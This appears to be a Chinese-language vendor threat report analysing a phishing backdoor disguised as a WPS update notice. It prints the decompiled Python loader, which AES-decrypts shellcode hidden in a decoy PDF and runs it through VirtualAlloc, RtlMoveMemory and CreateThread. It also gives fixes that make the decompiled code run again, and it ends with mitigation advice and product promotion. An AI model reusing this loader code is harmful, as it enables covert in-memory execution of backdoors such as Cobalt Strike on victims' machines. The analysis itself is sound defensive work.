事件名称:
wpsupdate钓鱼分析
威胁类型:
后门
简单描述:
近日,深盾实验室在运营工作中发现攻击者通过伪装WPS更新执行钓鱼攻击的行为。
恶意文件描述
近期,深盾实验室在运营工作中发现攻击者通过伪装成wps更新的钓鱼活动。
恶意文件分析
将文件拖入pe文件信息查看工具中发现存在py、python等字符串,于是判断是通过python打包而成。
解包
使用pyinstxtractor对exe进行解包,入口程序为main.py
解出来的文件并没有进行加密,所以直接使用pycdc反编译得到源码,在main.py中导入了一en的自定义库,所以也对en.pyc进行反编译,反编译之后的内容如下
# Source Generated with Decompyle++
# File: main.pyc (Python 3.9)
import ctypes
import os
import sys
import time
import en
BSIZE = en.po090o09o9o89iu9oi09ioi09ow.block_size
KSIZE = 32
abc = 'difh63jsabdj&#k'
def PadTest(bytes):
if len(bytes) % BSIZE != 0:
bytes += ' '.encode()
continue
return bytes
def Pad(abc):
if len(abc) > KSIZE:
return abc[:KSIZE]
if None(abc) % KSIZE != 0:
abc += ' '.encode()
continue
return abc
def ddd(key, encryptData):
myCipher = en.po090o09o9o89iu9oi09ioi09ow.new(key, en.po090o09o9o89iu9oi09ioi09ow.MODE_ECB)
bytes = myCipher.decrypt(encryptData)
return bytes
sys.path.append(os.getcwd)
po090op9989080o909o90o09o9i9oi99o9 = 265728
time.sleep(2)
filename = '关于更新WPS的通知.pdf'
filename = filename.encode('utf-8')
if os.path.exists(filename):
o000op8980o890op90800o909 = en.o090o09pi98io9i09i9ioi(filename, 'rb')
o0ooo0o0o0oo0o0op0o0o0opo0o89 = o000op8980o890op90800o909.read()[-po090op9989080o909o90o09o9i9oi99o9:]
abc = Pad(abc.encode())
o0ooo0o0o0oo0o0op0o0o0opo0o89 = PadTest(o0ooo0o0o0oo0o0op0o0o0opo0o89)
o0ooo0o0o0oo0o0op0o0o0opo0o89 = ddd(abc, o0ooo0o0o0oo0o0op0o0o0opo0o89)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(o0ooo0o0o0oo0o0op0o0o0opo0o89), 4096, 64)
en.ok09i09i9io(en.fja8g9u9guare8g0argua0rgu(rwxpage), ctypes.create_string_buffer(o0ooo0o0o0oo0o0op0o0o0opo0o89), len(o0ooo0o0o0oo0o0op0o0o0opo0o89))
handle = en.sg1r5g1rgb1seth4ckbu77er5he4zt51hs5(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
# Source Generated with Decompyle++
# File: en.pyc (Python 3.9)
import ctypes
from Cryptodome.Cipher import AES
po090o09o9o89iu9oi09ioi09ow = AES
oo90o890i0oi9io9i0oi9k09ii = ctypes
o090o09pi98io9i09i9ioi = open
ok09i09i9io = ctypes.windll.kernel32.RtlMoveMemory
o0oo00o0o0i09i09i = ctypes.c_uint64
sg1r5g1rgb1seth4ckbu77er5he4zt51hs5 = ctypes.windll.kernel32.CreateThread
i90i09i09i0i9 = ctypes.windll
i9u89u98u98u0u09u0u990 = i90i09i09i0i9.kernel32.RtlMoveMemory
fja8g9u9guare8g0argua0rgu = ctypes.c_uint64
文件修复
在反编译得到源码之后并不能直接运行,因为反编译的时候部分代码被损坏,所以需要对比opcode进行手动修复,需要修复的一共有三处:
PadTest函数中if判断需要替换成while:
def PadTest(bytes):
while len(bytes) % BSIZE != 0:
bytes += ' '.encode()
continue
return bytes
Pad函数中的第二处if判断也需要替换成while,同时None需要替换成len函数:
def Pad(abc):
if len(abc) > KSIZE:
return abc[:KSIZE]
while len(abc) % KSIZE != 0:
abc += ' '.encode()
continue
return abc
解密Shellcode
通过理解源码可以发现,shellcode存在pdf的后265728个字节中,取出这部分内容之后判断长度是否满足32的整数倍,如果不满足则使用空格填充,解密的key做同样处理,之后使用AES对取出来的内容进行解密得到最终的shellcode,之后调用VirtualAlloc分配内存,RtlMoveMemory写入内存,CreateThread创建线程,并将线程执行位置指向shellcode起始位置,最后通过WaitForSingleObject执行线程。
在分析时可以将shellcode写入到文件中单独分析:在调用VirtualAlloc之前将shellcode写入到文件中,随后将文件放到x64dbg中进行动态调试。
根据静态信息可以看出执行的shellcode是二开的CS马。
当调试到0x0000000180017E25会触发异常,原因在于执行内存拷贝时源数据地址无效:
源地址失效将导致后续的代码异常退出,从而无法分析。
解决方案
处置建议
1、不要打开来历不明的邮件及其里面的附件或链接。
2、通过即时通讯软件发送的文件需要确认无毒之后再打开。
3、安装杀软并保持更新。
深信服解决方案
【深信服统一端点安全管理系统aES】
已支持查杀拦截此次事件使用的病毒文件。aES全新上线“动静态双AI引擎”,静态AI能够在未知勒索载荷落地阶段进行拦截,动态AI则能够在勒索载荷执行阶段进行防御,通过动静态AI双保险机制可以更好地遏制勒索蔓延。请更新软件(如有定制请先咨询售后再更新版本)和病毒库至最新版本。
【深信服下一代防火墙AF】的安全防护规则更新至最新版本,接入深信服安全云脑,“云鉴” 服务即可轻松抵御此高危风险。
【深信服安全感知管理平台SIP】建议用户及时更新规则库,接入深信服安全云脑,并联动【深信服下一代防火墙AF】实现对高危风险的入侵防护。
【深信服安全托管服务MSS】以保障用户网络安全“持续有效”为目标,通过将用户安全设备接入安全运营中心,依托于XDR安全能力平台和MSSP安全服务平台实现有效协同的“人机共智”模式,围绕资产、脆弱性、威胁、事件四个要素为用户提供7*24H的安全运营服务,快速扩展持续有效的安全运营能力,保障可承诺的风险管控效果。